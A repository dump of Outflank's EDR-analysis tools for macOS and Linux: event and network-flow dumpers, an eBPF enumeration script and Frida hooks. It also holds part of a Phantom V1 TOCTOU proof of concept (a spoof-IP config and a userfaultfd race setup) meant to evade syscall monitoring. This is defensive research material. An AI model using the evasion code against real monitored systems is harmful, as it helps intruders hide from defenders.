├── .gitignore
├── NEDump
├── netext
│ ├── config.h
│ ├── entitlements
│ ├── Info.plist
│ ├── content_filter.mm
│ └── ne_json.hpp
├── entitlements
├── Info.plist
├── nedump.h
└── nedump.m
├── .gitmodules
├── ESDump
├── config.h
├── entitlements
├── Info.plist
├── esdump.cpp
├── esdump.h
└── es_json.hpp
├── attacks
└── phantom_v1
│ ├── Makefile
│ ├── config.h
│ ├── include.h
│ ├── shared.c
│ └── connect.c
├── frida_scripts
├── notify_register.js
└── es_subscribe.js
├── dump_ebpf.sh
├── hook.py
├── README.md
├── CMakeLists.txt
└── LICENSE
/.gitignore:
--------------------------------------------------------------------------------
1 | **/.DS_Store
2 | attacks/**/bin
3 | .idea/
4 | cmake-*/
5 |
--------------------------------------------------------------------------------
/NEDump/netext/config.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | constexpr int JSON_INDENT = 2;
4 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "external/nlohmann_json"]
2 | path = external/nlohmann_json
3 | url = https://github.com/nlohmann/json
4 |
--------------------------------------------------------------------------------
/ESDump/config.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | constexpr es_event_type_t TARGET_EVENTS[] = {
4 | ES_EVENT_TYPE_NOTIFY_EXEC,
5 | ES_EVENT_TYPE_NOTIFY_FORK,
6 | ES_EVENT_TYPE_NOTIFY_EXIT
7 | };
8 |
9 | constexpr int JSON_INDENT = 2;
10 |
--------------------------------------------------------------------------------
/ESDump/entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.developer.endpoint-security.client
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/attacks/phantom_v1/Makefile:
--------------------------------------------------------------------------------
1 | SOURCES := $(wildcard *.c)
2 | EXECUTABLE_SOURCES := $(filter-out shared.c,$(SOURCES))
3 | EXECUTABLES := $(EXECUTABLE_SOURCES:.c=)
4 | BINARIES := $(addprefix bin/,$(EXECUTABLES))
5 |
6 | all: $(BINARIES)
7 |
8 | bin/%: %.c
9 | @mkdir -p bin
10 | gcc -lpthread -o $@ $^
11 |
12 | clean:
13 | rm -f $(BINARIES)
14 |
15 | .PHONY: all clean
16 |
--------------------------------------------------------------------------------
/attacks/phantom_v1/config.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define SPOOF_IP "1.2.3.4"
4 | #define REAL_IP "142.250.114.139" // google.com
5 |
6 | #define COUNT_DONE 20
7 | #define COUNT_HALT1 1
8 | #define COUNT_HALT2 6
9 | #define ATTACK_CPU 2
10 | #define VICTIM_CPU 1
11 | #define PRIORITY_MAIN 0
12 | #define PRIORITY_OVERWRITE 42
13 | #define NANOSLEEP_TIME 900000000
14 |
--------------------------------------------------------------------------------
/NEDump/netext/entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.application-identifier
6 | $(TeamIdentifierPrefix)$(CFBundleIdentifier)
7 |
8 | com.apple.developer.networking.networkextension
9 |
10 | content-filter-provider-systemextension
11 |
12 |
13 | com.apple.security.application-groups
14 |
15 | $(TeamIdentifierPrefix)$(CFBundleIdentifier)
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/frida_scripts/notify_register.js:
--------------------------------------------------------------------------------
1 | const module = Process.getModuleByName("libsystem_notify.dylib");
2 | const functions = [
3 | { name: "notify_register_dispatch", type: "dispatch queue" },
4 | { name: "notify_register_mach_port", type: "Mach port" },
5 | { name: "notify_register_signal", type: "signal" },
6 | { name: "notify_register_file_descriptor", type: "file descriptor" }
7 | ];
8 |
9 | functions.forEach(f => {
10 | const func = module.getExportByName(f.name);
11 | Interceptor.attach(func, {
12 | onEnter: function (args) {
13 | const name = args[0].readUtf8String();
14 | console.log(`[+] Requested notification delivery to a ${f.type} for ${name}`);
15 | }
16 | });
17 | });
18 |
--------------------------------------------------------------------------------
/NEDump/entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.application-identifier
6 | $(TeamIdentifierPrefix)$(CFBundleIdentifier)
7 |
8 | com.apple.developer.networking.networkextension
9 |
10 | content-filter-provider-systemextension
11 |
12 |
13 | com.apple.developer.system-extension.install
14 |
15 |
16 | com.apple.security.application-groups
17 |
18 | $(TeamIdentifierPrefix)$(CFBundleIdentifier)
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/attacks/phantom_v1/include.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define _GNU_SOURCE
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 |
29 | #define FORCE_INLINE __attribute__((always_inline)) inline
30 |
31 | #define handle_error_en(en, msg) \
32 | do { errno = en; perror(msg); exit(EXIT_FAILURE); } while (0)
33 |
34 | #ifndef SYS_gettid
35 | #error "SYS_gettid unavailable on this system"
36 | #endif
37 |
38 | #define gettid() ((pid_t)syscall(SYS_gettid))
39 |
40 | static void* fault_handler_thread(void *arg);
41 |
42 | #include "shared.c"
43 |
--------------------------------------------------------------------------------
/dump_ebpf.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | OUTPUT_DIR="ebpf_dumps"
4 | mkdir -p "$OUTPUT_DIR"
5 |
6 | dump_prog() {
7 | local prog_id=$1
8 | local dir=$2
9 |
10 | echo "Dumping program ID $prog_id"
11 | bpftool prog show id $prog_id > "$dir/prog_$prog_id.txt"
12 | bpftool prog dump xlated id $prog_id > "$dir/prog_${prog_id}_xlated.txt"
13 | bpftool prog dump jit id $prog_id > "$dir/prog_${prog_id}_jit.txt"
14 | }
15 |
16 | dump_map() {
17 | local map_id=$1
18 | local dir=$2
19 |
20 | echo "Dumping map ID $map_id"
21 | bpftool map show id $map_id > "$dir/map_$map_id.txt"
22 | bpftool map dump id $map_id > "$dir/map_${map_id}_dump.txt"
23 | }
24 |
25 | prog_ids=$(bpftool prog list | awk '/^[0-9]+:/ {print $1}' | tr -d ':')
26 | for prog_id in $prog_ids; do
27 | prog_dir="$OUTPUT_DIR/prog_$prog_id"
28 | mkdir -p "$prog_dir"
29 | dump_prog $prog_id "$prog_dir"
30 |
31 | map_ids=$(bpftool prog show id $prog_id | awk '/map_ids/ {print $8}' | tr ',' '\n')
32 | for map_id in $map_ids; do
33 | map_dir="$OUTPUT_DIR/prog_${prog_id}_map_$map_id"
34 | mkdir -p "$map_dir"
35 | dump_map $map_id "$map_dir"
36 | done
37 | done
38 |
39 | echo "All eBPF programs and maps have been dumped to $OUTPUT_DIR."
40 |
--------------------------------------------------------------------------------
/ESDump/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
19 | CFBundleShortVersionString
20 | $(MARKETING_VERSION)
21 | CFBundleVersion
22 | $(CURRENT_PROJECT_VERSION)
23 | LSBackgroundOnly
24 |
25 | LSMinimumSystemVersion
26 | $(MACOSX_DEPLOYMENT_TARGET)
27 | NSHumanReadableCopyright
28 | Outflank
29 | NSMainNibFile
30 | MainMenu
31 | NSPrincipalClass
32 | NSApplication
33 | NSSupportsAutomaticTermination
34 |
35 | NSSupportsSuddenTermination
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/NEDump/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
19 | CFBundleShortVersionString
20 | $(MARKETING_VERSION)
21 | CFBundleVersion
22 | $(CURRENT_PROJECT_VERSION)
23 | LSBackgroundOnly
24 |
25 | LSMinimumSystemVersion
26 | $(MACOSX_DEPLOYMENT_TARGET)
27 | NSHumanReadableCopyright
28 | Outflank
29 | NSMainNibFile
30 | MainMenu
31 | NSPrincipalClass
32 | NSApplication
33 | NSSupportsAutomaticTermination
34 |
35 | NSSupportsSuddenTermination
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/NEDump/netext/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | Extension
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
19 | CFBundleShortVersionString
20 | $(MARKETING_VERSION)
21 | CFBundleVersion
22 | $(CURRENT_PROJECT_VERSION)
23 | LSMinimumSystemVersion
24 | $(MACOSX_DEPLOYMENT_TARGET)
25 | NSHumanReadableCopyright
26 | Outflank
27 | NSSystemExtensionUsageDescription
28 |
29 | NetworkExtension
30 |
31 | NEMachServiceName
32 | $(TeamIdentifierPrefix)$(PRODUCT_BUNDLE_IDENTIFIER)
33 | NEProviderClasses
34 |
35 | com.apple.networkextension.filter-data
36 | FilterDataProvider
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/NEDump/nedump.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define ACTION_DEACTIVATE 0
4 | #define ACTION_ACTIVATE 1
5 |
6 | typedef void(^replyBlockType)(BOOL);
7 |
8 | @interface OSLogEventLiveStream : NSObject
9 |
10 | - (void)activate;
11 | - (void)invalidate;
12 | - (void)setFilterPredicate:(NSPredicate*)predicate;
13 | - (void)setDroppedEventHandler:(void(^)(id))callback;
14 | - (void)setInvalidationHandler:(void(^)(int, id))callback;
15 | - (void)setEventHandler:(void(^)(id))callback;
16 |
17 | @property(nonatomic) unsigned long long flags;
18 |
19 | @end
20 |
21 | @interface OSLogEventProxy : NSObject
22 |
23 | @property(readonly, nonatomic) NSString* process;
24 | @property(readonly, nonatomic) int processIdentifier;
25 | @property(readonly, nonatomic) NSString* processImagePath;
26 |
27 | @property(readonly, nonatomic) NSString* sender;
28 | @property(readonly, nonatomic) NSString* senderImagePath;
29 |
30 | @property(readonly, nonatomic) NSString* category;
31 | @property(readonly, nonatomic) NSString* subsystem;
32 |
33 | @property(readonly, nonatomic) NSDate* date;
34 |
35 | @property(readonly, nonatomic) NSString* composedMessage;
36 |
37 | @end
38 |
39 | @interface LogMonitor : NSObject
40 |
41 | @property(nonatomic, retain, nullable)OSLogEventLiveStream* liveStream;
42 |
43 | -(BOOL)start:(NSPredicate*)predicate level:(NSUInteger)level eventHandler:(void(^)(OSLogEventProxy*))eventHandler;
44 |
45 | -(void)stop;
46 |
47 | @end
48 |
49 | @interface Extension : NSObject
50 |
51 | @property(nonatomic, copy)replyBlockType replyBlock;
52 |
53 | -(void)toggleExtension:(NSUInteger)action reply:(void (^)(BOOL))reply;
54 |
55 | -(void)startNetworkExtension:(void (^)(BOOL))reply;
56 |
57 | @end
58 |
--------------------------------------------------------------------------------
/hook.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import os
3 | import signal
4 | import sys
5 |
6 | import frida
7 |
8 |
9 | def on_message(message, data):
10 | print(message)
11 |
12 |
13 | def load_script(session, filepath):
14 | with open(filepath, "r") as file:
15 | script = session.create_script(file.read())
16 |
17 | script.on("message", on_message)
18 | script.load()
19 | print(f"Loaded script {os.path.basename(filepath)}")
20 |
21 |
22 | def get_process(pid=None, process_name=None):
23 | if pid:
24 | return frida.attach(pid), False
25 |
26 | elif process_name:
27 | print(f"Creating a new process for {process_name}")
28 | pid = frida.spawn(process_name)
29 | return frida.attach(pid), True
30 |
31 |
32 | def clean_exit(session, signum, frame):
33 | print("Detaching session and exiting.")
34 | session.detach()
35 | sys.exit(0)
36 |
37 |
38 | def hook(args):
39 | session, new_process = get_process(pid=args.pid, process_name=args.name)
40 | print(f"Attached to PID {args.pid}")
41 |
42 | load_script(session, args.script)
43 |
44 | if new_process:
45 | frida.resume(session.pid)
46 |
47 | signal.signal(signal.SIGINT, lambda s, f: clean_exit(session, s, f))
48 | print("Press Ctrl+C to stop tracing...")
49 | signal.pause()
50 |
51 |
52 | if __name__ == "__main__":
53 | parser = argparse.ArgumentParser(
54 | description="Load Frida scripts into a process and attach to it."
55 | )
56 | parser.add_argument("-p", "--pid", type=int, help="Process ID to attach to")
57 | parser.add_argument(
58 | "-n", "--name", type=str, help="Name of the process to spawn and attach to"
59 | )
60 | parser.add_argument(
61 | "-s",
62 | "--script",
63 | type=str,
64 | required=True,
65 | help="Path to the Frida script to load",
66 | )
67 |
68 | args = parser.parse_args()
69 |
70 | if not args.pid and not args.name:
71 | raise ValueError("No PID or process name provided")
72 |
73 | hook(args)
74 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # EDR Internals
2 |
3 | Tools for analyzing EDR agents. For details, see our [blog post](https://www.outflank.nl/blog/2024/06/03/edr-internals-macos-linux/).
4 |
5 | * ESDump - macOS [Endpoint Security](https://developer.apple.com/documentation/endpointsecurity) client that dumps events to `stdout`
6 | * NEDump - macOS [content filter provider](https://developer.apple.com/documentation/networkextension/content_filter_providers) that dumps socket flow data to `stdout`
7 | * attacks/phantom_v1 - A collection of POCs that bypass different Linux syscalls using the [Phantom V1](https://github.com/rexguowork/phantom-attack/tree/main/phantom_v1) TOCTOU vulnerability
8 | * dump_ebpf.sh - Linux [eBPF](https://ebpf.io/what-is-ebpf/) program and map enumeration script
9 | * hook.py - [Frida](https://frida.re/) loader with [scripts](frida_scripts/) for inspecting key macOS monitoring functions
10 |
11 | ## Usage
12 |
13 | * ESDump and NEDump can be compiled on macOS using [CMakeLists.txt](CMakeLists.txt) or you can download a precompiled [release](https://github.com/outflanknl/edr-internals/releases).
14 | * SIP must be [disabled](https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection) on the host for ESDump to work.
15 | * The NEDump app bundle must be copied to `/Applications/` to work.
16 | * Any of the phantom_v1 can be compiled on Linux using the [Makefile](phantom_v1/Makefile).
17 | * To use dump_ebpf.sh, [bpftool](https://github.com/libbpf/bpftool) must be installed.
18 | * The [frida](https://pypi.org/project/frida/) Python package is required by hook.py.
19 |
20 | ## Credits
21 |
22 | * NEDump is based on [LuLu](https://github.com/objective-see/LuLu) from [Objective-See](https://objective-see.org/)
23 | * [Phantom V1](https://github.com/rexguowork/phantom-attack/tree/main/phantom_v1) was created by [Rex Guo](https://twitter.com/xiaofei_rex) and [Junyuan Zeng](https://scholar.google.com.au/citations?user=hfFxWxMAAAAJ) for [DEF CON 29](https://www.youtube.com/watch?v=yaAdM8pWKG8).
24 | * The [es_subscribe](frida_scripts/es_subscribe.js) Frida script is heavily based on Red Canary's Mac Monitor [wiki](https://github.com/redcanaryco/mac-monitor/wiki/8.-Endpoint-Security-DYLIB#an-arbitrary-clients-event-subscriptions) and es_subscribe [script](https://gist.github.com/Brandon7CC/e5e54978b1484fd09f5e201a4fd9dbfc).
25 |
--------------------------------------------------------------------------------
/NEDump/netext/content_filter.mm:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "config.h"
5 | #include "util.h"
6 | #include "ne_json.hpp"
7 |
8 | os_log_t logHandle = nil;
9 |
10 | @interface FilterDataProvider : NEFilterDataProvider
11 |
12 | @end
13 |
14 | @implementation FilterDataProvider
15 |
16 | -(void)startFilterWithCompletionHandler:(void (^)(NSError *error))completionHandler {
17 | NENetworkRule* networkRule = nil;
18 | NEFilterRule* filterRule = nil;
19 | NEFilterSettings* filterSettings = nil;
20 |
21 | os_log_debug(logHandle, "%s", __PRETTY_FUNCTION__);
22 |
23 | networkRule = [[NENetworkRule alloc] initWithRemoteNetwork:nil remotePrefix:0 localNetwork:nil localPrefix:0 protocol:NENetworkRuleProtocolAny direction:NETrafficDirectionAny];
24 | filterRule = [[NEFilterRule alloc] initWithNetworkRule:networkRule action:NEFilterActionFilterData];
25 | filterSettings = [[NEFilterSettings alloc] initWithRules:@[filterRule] defaultAction:NEFilterActionAllow];
26 |
27 | [self applySettings:filterSettings completionHandler:^(NSError * _Nullable error) {
28 | if (error != nil) {
29 | os_log_error(logHandle, "ERROR: Failed to apply filter settings: %@", error.localizedDescription);
30 | }
31 |
32 | completionHandler(error);
33 | }];
34 | }
35 |
36 | -(void)stopFilterWithReason:(NEProviderStopReason)reason completionHandler:(void (^)(void))completionHandler {
37 | completionHandler();
38 | return;
39 | }
40 |
41 | -(NEFilterNewFlowVerdict *)handleNewFlow:(NEFilterFlow *)flow {
42 | @try {
43 | auto flow_arr = json{ (NEFilterSocketFlow*)flow };
44 | for (auto it : flow_arr) {
45 | const std::string flow_fmt = it.dump(JSON_INDENT);
46 | os_log(logHandle, "%{public}s", flow_fmt.c_str());
47 | }
48 | } @catch (NSException *exception) {
49 | os_log_error(logHandle, "ERROR: %@", exception);
50 | } @finally {
51 | return [NEFilterNewFlowVerdict allowVerdict];
52 | }
53 | }
54 |
55 | int main(int argc, char *argv[]) {
56 | @autoreleasepool {
57 | logHandle = os_log_create("nedump", "extension");
58 |
59 | os_log(logHandle, "Starting extension...");
60 | [NEProvider startSystemExtensionMode];
61 | os_log(logHandle, "Extension started!");
62 | }
63 |
64 | dispatch_main();
65 |
66 | return 0;
67 |
68 | (void)argc;
69 | (void)argv;
70 | }
71 |
72 | @end
73 |
--------------------------------------------------------------------------------
/ESDump/esdump.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "config.h"
6 | #include "esdump.h"
7 |
8 | constexpr int EVENT_COUNT = sizeof(TARGET_EVENTS) / sizeof(TARGET_EVENTS[0]);
9 |
10 | void log_event(es_client_t* c, const es_message_t* m) {
11 | auto event_metadata = event_data.at(m->event_type);
12 | const std::string event_fmt = json{
13 | {"type", event_metadata.type_name},
14 | {"data", event_metadata.serialize_fn(m->event)}
15 | }.dump(JSON_INDENT);
16 |
17 | printf("%s,\n", event_fmt.c_str());
18 |
19 | (void)c;
20 | }
21 |
22 | void handle_auth_event(es_client_t* c, const es_message_t* m) {
23 | log_event(c, m);
24 |
25 | es_respond_result_t ret = es_respond_auth_result(c, m, ES_AUTH_RESULT_ALLOW, false);
26 | if (ret != ES_RESPOND_RESULT_SUCCESS) {
27 | printf("ERROR: Failed to respond to authorization event: %d\n", ret);
28 | }
29 | }
30 |
31 | constexpr auto event_handler = ^(es_client_t* c, const es_message_t* m) {
32 | if (m->action_type == ES_ACTION_TYPE_AUTH) {
33 | return handle_auth_event(c, m);
34 | }
35 | else if (m->action_type == ES_ACTION_TYPE_NOTIFY) {
36 | return log_event(c, m);
37 | }
38 |
39 | printf("ERROR: Unknown action type: %d\n", m->action_type);
40 | };
41 |
42 | bool create_client(es_client_t** client) {
43 | es_new_client_result_t ret = es_new_client(client, event_handler);
44 | if (ret != ES_NEW_CLIENT_RESULT_SUCCESS) {
45 | if (ret == ES_NEW_CLIENT_RESULT_ERR_NOT_PRIVILEGED) {
46 | printf("ERROR: Root privileges are required to create an ES client\n");
47 | }
48 | else if (ret == ES_NEW_CLIENT_RESULT_ERR_NOT_ENTITLED) {
49 | printf("ERROR: SIP must be disabled and the binary must have the endpoint security entitlement to create an ES client\n");
50 | }
51 | else {
52 | printf("ERROR: Failed to create an ES client: %d\n", ret);
53 | }
54 |
55 | return false;
56 | }
57 |
58 | return true;
59 | }
60 |
61 | bool go() {
62 | es_client_t* client = NULL;
63 | if (!create_client(&client)) {
64 | return false;
65 | }
66 |
67 | es_return_t ret = es_subscribe(client, TARGET_EVENTS, EVENT_COUNT);
68 | if (ret != ES_RETURN_SUCCESS) {
69 | printf("ERROR: Failed to subscribe to ES events %d\n", ret);
70 | return false;
71 | }
72 |
73 | return true;
74 | }
75 |
76 | void stop(int s) {
77 | printf("Exiting...\n");
78 | exit(0);
79 |
80 | (void)s;
81 | }
82 |
83 | int main(int argc, char** argv) {
84 | struct sigaction sigIntHandler;
85 |
86 | sigIntHandler.sa_handler = stop;
87 |
88 | sigemptyset(&sigIntHandler.sa_mask);
89 | sigIntHandler.sa_flags = 0;
90 |
91 | sigaction(SIGINT, &sigIntHandler, NULL);
92 |
93 | go();
94 | pause();
95 |
96 | return 0;
97 |
98 | (void)argc;
99 | (void)argv;
100 | }
101 |
--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.18)
2 |
3 | set(DEV_ID "26N92YPF65")
4 | set(BUNDLE_ID "nl.outflank.nedump")
5 | set(EXT_BUNDLE_ID "${BUNDLE_ID}.extension")
6 |
7 | project(nixedr LANGUAGES CXX OBJC OBJCXX)
8 |
9 | set(CMAKE_CXX_STANDARD 11)
10 |
11 | string(APPEND CMAKE_CXX_FLAGS " -Wall -Wextra")
12 | string(APPEND CMAKE_CXX_FLAGS_RELEASE " -Werror")
13 |
14 | add_definitions(-DBUNDLE_ID="${BUNDLE_ID}")
15 | add_definitions(-DEXT_BUNDLE_ID="${EXT_BUNDLE_ID}")
16 |
17 | add_subdirectory("external/nlohmann_json" EXCLUDE_FROM_ALL)
18 |
19 | add_executable(ESDump "ESDump/esdump.cpp")
20 | add_executable(NEDump "NEDump/nedump.m")
21 | add_executable(${EXT_BUNDLE_ID} "NEDump/netext/content_filter.mm")
22 |
23 | add_dependencies(NEDump ${EXT_BUNDLE_ID})
24 |
25 | target_include_directories(ESDump PRIVATE
26 | "ESDump"
27 | "external/nlohmann_json/include"
28 | )
29 |
30 | target_include_directories(NEDump PRIVATE "NEDump")
31 |
32 | target_include_directories(${EXT_BUNDLE_ID} PRIVATE
33 | "NEDump/netext"
34 | "external/nlohmann_json/include"
35 | )
36 |
37 | find_library(CORE_FOUNDATION CoreFoundation REQUIRED)
38 | find_library(NETWORK_EXT NetworkExtension REQUIRED)
39 |
40 | target_link_libraries(NEDump PRIVATE
41 | ${NETWORK_EXT}
42 | ${CORE_FOUNDATION}
43 | )
44 |
45 | target_link_libraries(ESDump PRIVATE
46 | nlohmann_json::nlohmann_json
47 | ${CORE_FOUNDATION}
48 | EndpointSecurity
49 | libbsm.tbd
50 | )
51 |
52 | target_link_libraries(${EXT_BUNDLE_ID} PRIVATE
53 | ${CORE_FOUNDATION}
54 | ${NETWORK_EXT}
55 | libbsm.tbd
56 | )
57 |
58 | set_target_properties(ESDump PROPERTIES
59 | XCODE_ATTRIBUTE_CLANG_ENABLE_MODULES YES
60 | XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "ESDump/entitlements"
61 | MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_LIST_DIR}/ESDump/Info.plist"
62 | )
63 |
64 | set_target_properties(NEDump PROPERTIES
65 | MACOSX_BUNDLE YES
66 | XCODE_ATTRIBUTE_CLANG_ENABLE_MODULES YES
67 | XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "NEDump/entitlements"
68 | MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_LIST_DIR}/NEDump/Info.plist"
69 | XCODE_ATTRIBUTE_ENABLE_HARDENED_RUNTIME YES
70 | XCODE_ATTRIBUTE_PROVISIONING_PROFILE_SPECIFIER "NEDump"
71 | XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "Developer ID Application"
72 | XCODE_ATTRIBUTE_DEVELOPMENT_TEAM ${DEV_ID}
73 | XCODE_ATTRIBUTE_PRODUCT_NAME "NEDump"
74 | XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER ${BUNDLE_ID}
75 | )
76 |
77 | set_target_properties(${EXT_BUNDLE_ID} PROPERTIES
78 | MACOSX_BUNDLE YES
79 | XCODE_PRODUCT_TYPE com.apple.product-type.system-extension
80 | BUNDLE_EXTENSION systemextension
81 | XCODE_ATTRIBUTE_ENABLE_HARDENED_RUNTIME YES
82 | XCODE_ATTRIBUTE_CODE_SIGN_ENTITLEMENTS "NEDump/netext/entitlements"
83 | MACOSX_BUNDLE_INFO_PLIST "${CMAKE_CURRENT_LIST_DIR}/NEDump/netext/Info.plist"
84 | XCODE_ATTRIBUTE_MARKETING_VERSION 1.0.0
85 | XCODE_ATTRIBUTE_CURRENT_PROJECT_VERSION 1.0.0
86 | XCODE_ATTRIBUTE_PROVISIONING_PROFILE_SPECIFIER "NEDump Network Extension"
87 | XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "Developer ID Application"
88 | XCODE_ATTRIBUTE_DEVELOPMENT_TEAM ${DEV_ID}
89 | XCODE_ATTRIBUTE_PRODUCT_NAME "${EXT_BUNDLE_ID}"
90 | XCODE_ATTRIBUTE_PRODUCT_BUNDLE_IDENTIFIER "${EXT_BUNDLE_ID}"
91 | XCODE_ATTRIBUTE_PRODUCT_BUNDLE_DISPLAY_NAME "${EXT_BUNDLE_ID}"
92 | )
93 |
94 | add_custom_command(TARGET NEDump POST_BUILD
95 | COMMAND ${CMAKE_COMMAND} -E make_directory $/Contents/Library/SystemExtensions/${EXT_BUNDLE_ID}.systemextension
96 | COMMAND ${CMAKE_COMMAND} -E copy_directory $ $/Contents/Library/SystemExtensions/${EXT_BUNDLE_ID}.systemextension
97 | )
98 |
--------------------------------------------------------------------------------
/attacks/phantom_v1/shared.c:
--------------------------------------------------------------------------------
1 | #include "include.h"
2 | #include "config.h"
3 |
4 | pthread_mutex_t count_mutex = PTHREAD_MUTEX_INITIALIZER;
5 | pthread_mutex_t condition_mutex = PTHREAD_MUTEX_INITIALIZER;
6 | pthread_cond_t condition_cond = PTHREAD_COND_INITIALIZER;
7 |
8 | static int page_size;
9 | static volatile char *page = NULL;
10 | int count = 0;
11 |
12 | static volatile void write_char(char *string, int len) {
13 | for(int i = 0; i < len; i++) {
14 | page[i] = string[i];
15 | }
16 | }
17 |
18 | FORCE_INLINE void receiver() {
19 | for(;;) {
20 | pthread_mutex_lock( &condition_mutex );
21 |
22 | while( count >= COUNT_HALT1 && count <= COUNT_HALT2 )
23 | pthread_cond_wait( &condition_cond, &condition_mutex );
24 |
25 | pthread_mutex_unlock( &condition_mutex );
26 |
27 | pthread_mutex_lock( &count_mutex );
28 | count++;
29 |
30 | pthread_mutex_unlock( &count_mutex );
31 |
32 | if(count >= COUNT_DONE)
33 | return;
34 | }
35 | }
36 |
37 | FORCE_INLINE void sender() {
38 | for(;;) {
39 | pthread_mutex_lock( &condition_mutex );
40 | if( count < COUNT_HALT1 || count > COUNT_HALT2 )
41 | pthread_cond_signal( &condition_cond );
42 |
43 | pthread_mutex_unlock( &condition_mutex );
44 |
45 | pthread_mutex_lock( &count_mutex );
46 | count++;
47 |
48 | pthread_mutex_unlock( &count_mutex );
49 |
50 | if(count >= COUNT_DONE)
51 | return;
52 | }
53 | }
54 |
55 | static inline void flush(void *p) {
56 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
57 | }
58 |
59 | FORCE_INLINE void set_affinity(int cpuid) {
60 | int s;
61 | cpu_set_t cpuset;
62 | pthread_t thread;
63 |
64 | CPU_ZERO(&cpuset);
65 | CPU_SET(cpuid, &cpuset);
66 |
67 | thread = pthread_self();
68 | s = pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset);
69 | if (s != 0)
70 | handle_error_en(s, "pthread_setaffinity_np");
71 |
72 | s = pthread_getaffinity_np(thread, sizeof(cpu_set_t), &cpuset);
73 | if (s != 0)
74 | handle_error_en(s, "pthread_getaffinity_np");
75 |
76 | printf("TID: %d. ", gettid());
77 | printf("Set returned by pthread_getaffinity_np() contained:\n");
78 | if (CPU_ISSET(cpuid, &cpuset))
79 | printf(" CPU %d\n", cpuid);
80 | else
81 | printf("wrong CPU");
82 | }
83 |
84 | int userfaultfd_setup(char *addr, int num_pages) {
85 | long uffd;
86 | unsigned long len;
87 | pthread_t thr;
88 | struct uffdio_api uffdio_api;
89 | struct uffdio_register uffdio_register;
90 | int s;
91 |
92 | page_size = sysconf(_SC_PAGE_SIZE);
93 | len = num_pages * page_size;
94 |
95 | uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
96 | if (uffd == -1)
97 | handle_error_en(-1, "userfaultfd");
98 |
99 | uffdio_api.api = UFFD_API;
100 | uffdio_api.features = 0;
101 | if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
102 | handle_error_en(-1, "ioctl-UFFDIO_API");
103 |
104 | uffdio_register.range.start = (unsigned long) addr;
105 | uffdio_register.range.len = len;
106 | uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
107 | if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
108 | handle_error_en(-1, "ioctl-UFFDIO_REGISTER");
109 |
110 | s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
111 | if (s != 0)
112 | handle_error_en(s, "pthread_create");
113 | }
114 |
